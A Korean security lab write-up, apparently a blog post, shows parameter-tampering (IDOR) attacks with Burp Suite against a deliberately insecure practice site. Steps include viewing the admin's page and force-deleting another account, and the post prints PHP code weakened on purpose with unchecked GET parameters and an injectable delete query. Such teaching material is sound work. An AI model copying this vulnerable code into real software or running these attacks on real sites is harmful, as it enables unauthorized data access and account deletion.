&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;843&quot; data-origin-height=&quot;618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qnB3E/btsMuUtg3mQ/9jLhYfuBmhXPou9idqhrC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qnB3E/btsMuUtg3mQ/9jLhYfuBmhXPou9idqhrC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qnB3E/btsMuUtg3mQ/9jLhYfuBmhXPou9idqhrC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqnB3E%2FbtsMuUtg3mQ%2F9jLhYfuBmhXPou9idqhrC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;843&quot; height=&quot;618&quot; data-origin-width=&quot;843&quot; data-origin-height=&quot;618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=83 으로 변경해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1211&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIFQmb/btsMvzWzyvH/1yI2pK2rFXAzABySSGDj30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIFQmb/btsMvzWzyvH/1yI2pK2rFXAzABySSGDj30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIFQmb/btsMvzWzyvH/1yI2pK2rFXAzABySSGDj30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIFQmb%2FbtsMvzWzyvH%2F1yI2pK2rFXAzABySSGDj30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1211&quot; height=&quot;411&quot; data-origin-width=&quot;1211&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intercept Off 후 게시글을 확인해보면 83번 게시글이 삭제된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYq5fz/btsMwsuSxyx/uXuNJuTJKfDGhc32hyV0fK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYq5fz/btsMwsuSxyx/uXuNJuTJKfDGhc32hyV0fK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYq5fz/btsMwsuSxyx/uXuNJuTJKfDGhc32hyV0fK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYq5fz%2FbtsMwsuSxyx%2FuXuNJuTJKfDGhc32hyV0fK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;417&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=82 게시글 삭제 페이지에 접속했지만, 버프스위트를 활용하여 파라미터를 idx=83 으로 변경하니 83번 게시글이 삭제되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판의 파라미터 변조 주요 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;타 사용자 게시글 무단 수정, 삭제&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정은 Form 페이지에서 파라미터 검증 로직을 적용해도 소용이 없으므로, 실제 동작이 이루어지는 Action 페이지에 파라미터 검증 로직을 적용해야 한다. (사용자 입력값을 받아서 데이터베이스에 값을 업데이트 하는 Action 페이지)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습9-2 파라미터 변조 취약점 공격을 통한 타 사용자 정보 무단 열람 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정으로 MyPage 에 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 id 가 hacker 로 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1509&quot; data-origin-height=&quot;998&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kO2ap/btsMwcUaWiX/D7A9MX96QPvJ6iDFlKJ3Tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kO2ap/btsMwcUaWiX/D7A9MX96QPvJ6iDFlKJ3Tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kO2ap/btsMwcUaWiX/D7A9MX96QPvJ6iDFlKJ3Tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkO2ap%2FbtsMwcUaWiX%2FD7A9MX96QPvJ6iDFlKJ3Tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1509&quot; height=&quot;998&quot; data-origin-width=&quot;1509&quot; data-origin-height=&quot;998&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트로 MyPage 패킷을 잡는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 id=hacker 로 해커 계정의 MyPage 임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약에 id=hacker 부분이 없는 경우(파라미터를 받지 않는 경우)에는 어떻게 사용자 정보를 출력시킬 수 있을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 세션 ID를 통해서 사용자 정보를 출력시킨다. (파라미터 변조 공격에 대한 잠재적인 위협을 제거할 수 있음)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8vfYY/btsMxIkeLvU/fNrInF7tnRkipFOTAQwixK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8vfYY/btsMxIkeLvU/fNrInF7tnRkipFOTAQwixK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8vfYY/btsMxIkeLvU/fNrInF7tnRkipFOTAQwixK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8vfYY%2FbtsMxIkeLvU%2FfNrInF7tnRkipFOTAQwixK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1208&quot; height=&quot;424&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간혹 세션을 통해서 사용자 정보를 출력하지만, id 파라미터(더미 데이터)를 받아서 처리하는 것 처럼 보이는 경우도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 이런 경우 실제로는 세션을 통해서 사용자 정보를 출력하므로 파라미터 변조 공격에 취약하지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 기능을 확인하는 방법은 파라미터에 없는 사용자를 입력해보는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;1003&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byurUm/btsMvxdtSKv/KWG4ogdhKK9qQ0SRc3nS3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byurUm/btsMvxdtSKv/KWG4ogdhKK9qQ0SRc3nS3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byurUm/btsMvxdtSKv/KWG4ogdhKK9qQ0SRc3nS3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyurUm%2FbtsMvxdtSKv%2FKWG4ogdhKK9qQ0SRc3nS3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1580&quot; height=&quot;1003&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;1003&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 파라미터에 아무값도 입력하지 않아도 여전히 해커 계정의 MyPage 에 접속된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 id 파라미터가 아닌 세션을 통해 사용자 정보를 출력하기때문에 실습을 위해서 소스코드 수정이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(사용자 입력값을 받아서 처리하도록 소스코드를 수정)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 에 $id 값을 파라미터로 받도록 수정 &amp;gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1740502680707&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	#$id = $_SESSION[&quot;id&quot;];
	$gubun = $_POST[&quot;gubun&quot;];&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 파라미터에 빈값을 입력하니 존재하지 않은 사용자로 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 세션을 통해 사용자 정보를 출력하는 것이 아닌, 파라미터 정보를 통해서 출력하는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1336&quot; data-origin-height=&quot;272&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cL1BBl/btsMwdZKOIn/JhM11JsZKjWBH69mwZgQwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cL1BBl/btsMwdZKOIn/JhM11JsZKjWBH69mwZgQwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cL1BBl/btsMwdZKOIn/JhM11JsZKjWBH69mwZgQwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcL1BBl%2FbtsMwdZKOIn%2FJhM11JsZKjWBH69mwZgQwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1336&quot; height=&quot;272&quot; data-origin-width=&quot;1336&quot; data-origin-height=&quot;272&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;현재는 파라미터를 받아서 사용자의 정보를 출력하는 기능을 가지고 있으므로, &lt;/span&gt;파라미터를 변조하여 다른 사용자의 계정을 무단으로 열람할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 id 파라미터에 admin 을 입력해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;993&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Jp8d/btsMveSJzMd/bbThML2k4fgp96V1L4iVjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Jp8d/btsMveSJzMd/bbThML2k4fgp96V1L4iVjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Jp8d/btsMveSJzMd/bbThML2k4fgp96V1L4iVjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Jp8d%2FbtsMveSJzMd%2FbbThML2k4fgp96V1L4iVjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1475&quot; height=&quot;993&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;993&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정의 MyPage 로 접속된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 경우에는 id 파라미터에 사전 대입(무차별 대입 공격)을 많이 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 idx=, seq= 등의 숫자값을 받는 파라미터인 경우에는 1부터 사용자 정보가 노출될 때까지 계속 주입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Case 1) id 값을 입력 받는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- id를 유추해야 되기 때문에 Case 2에 비해 피해가 크지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?id=admin&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Case 2) seq 값을 입력 받는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파라미터 변조 취약점 공격을 통한 개인 정보 노출 피해가 굉장히 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- K 통신사 개인정보 노출 사고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?idx=1 ~ 1000000&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?seq=&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습9-3 파라미터 변조 취약점 공격을 통한 타 사용자 강제 탈퇴 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 상태는 코드가 안전한 상태로 적용되어 있으므로, 탈퇴하는 페이지의 코드를 수정해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션을 통해 회원 탈퇴하도록 코드가 작성되어 있으므로, 파라미터를 통해 회원 탈퇴를 할 수 있는 코드로 변경한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;withdrawal.php 를 삭제하고 이전에 백업한 withdrawal-backup.php 를 withdrawal.php 로 이름을 변경한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; withdrawal.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740552868670&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    @session_start();
    include_once(&quot;./common.php&quot;);

    unset($_SESSION[&quot;id&quot;]);
    session_destroy();
    
    $db_conn = mysql_conn();
    $id = $_GET[&quot;id&quot;];

    $query = &quot;delete from members where id='{$id}'&quot;;
	$result = $db_conn-&amp;gt;query($query);

    echo &quot;&amp;lt;script&amp;gt;location.href='index.php'&amp;lt;/script&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mypage 도 코드 수정이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에 CSRF Token 관련 코드를 작성했었는데, 해당 코드를 삭제하고 id 파라미터로 대체하는 코드를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;withdrawal.php?csrf_token=&amp;lt;?=$csrf_token?&amp;gt; &amp;rarr; withdrawal.php?id=&amp;lt;?=$id?&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;86 - 89 번 라인 코드 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740553102951&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		&amp;lt;div class=&quot;text-center&quot;&amp;gt;
			&amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-info&quot; value=&quot;수정하기&quot;&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot; onclick=&quot;if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?id=&amp;lt;?=$id?&amp;gt;'&quot;&amp;gt;회원탈퇴하기&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 저장 후 해커 계정의 MyPage 로 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 도구를 켜고 회원탈퇴하기 버튼 부분의 element 를 확인하면 다음과 같이 id=hacker 로 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 id 파라미터를 받아서 회원탈퇴하는 로직으로 변경된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1789&quot; data-origin-height=&quot;984&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4YVhD/btsMwZ8r0mJ/pT7xe68LeCm571vDkxcTU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4YVhD/btsMwZ8r0mJ/pT7xe68LeCm571vDkxcTU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4YVhD/btsMwZ8r0mJ/pT7xe68LeCm571vDkxcTU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4YVhD%2FbtsMwZ8r0mJ%2FpT7xe68LeCm571vDkxcTU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1789&quot; height=&quot;984&quot; data-origin-width=&quot;1789&quot; data-origin-height=&quot;984&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 계정을 추가로 생성하여 파라미터 변조를 통한 강제 탈퇴를 실습해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정으로 로그인 후 MyPage 에 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 Intercept On 후 MyPage 의 회원탈퇴하기 버튼을 클릭한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 파라미터의 hacker 를 회원 탈퇴를 시도할 계정 test 로 변경한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqnV1j/btsMwrdbdgl/iMU99ItzC2VfU6LqbxNmW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqnV1j/btsMwrdbdgl/iMU99ItzC2VfU6LqbxNmW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqnV1j/btsMwrdbdgl/iMU99ItzC2VfU6LqbxNmW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqnV1j%2FbtsMwrdbdgl%2FiMU99ItzC2VfU6LqbxNmW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1195&quot; height=&quot;378&quot; data-origin-width=&quot;1195&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 파라미터를 test로 변경 후 Intercept Off 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1IKpr/btsMx2wz2cF/f0nGqj2IKfSV2RE4CIcI5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1IKpr/btsMx2wz2cF/f0nGqj2IKfSV2RE4CIcI5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1IKpr/btsMx2wz2cF/f0nGqj2IKfSV2RE4CIcI5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1IKpr%2FbtsMx2wz2cF%2Ff0nGqj2IKfSV2RE4CIcI5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1202&quot; height=&quot;384&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website 에서 로그아웃 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 계정으로 로그인 시도 시 로그인이 불가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;719&quot; data-origin-height=&quot;251&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOkzko/btsMw4u5QBt/0mMt1yDU5xOKQA5RpzVl61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOkzko/btsMw4u5QBt/0mMt1yDU5xOKQA5RpzVl61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOkzko/btsMw4u5QBt/0mMt1yDU5xOKQA5RpzVl61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOkzko%2FbtsMw4u5QBt%2F0mMt1yDU5xOKQA5RpzVl61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;719&quot; height=&quot;251&quot; data-origin-width=&quot;719&quot; data-origin-height=&quot;251&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 확인 시 기존에는 test 계정이 존재하였지만, 현재는 존재하지 않는 것을 확인할 수 있다.&lt;/p&gt;
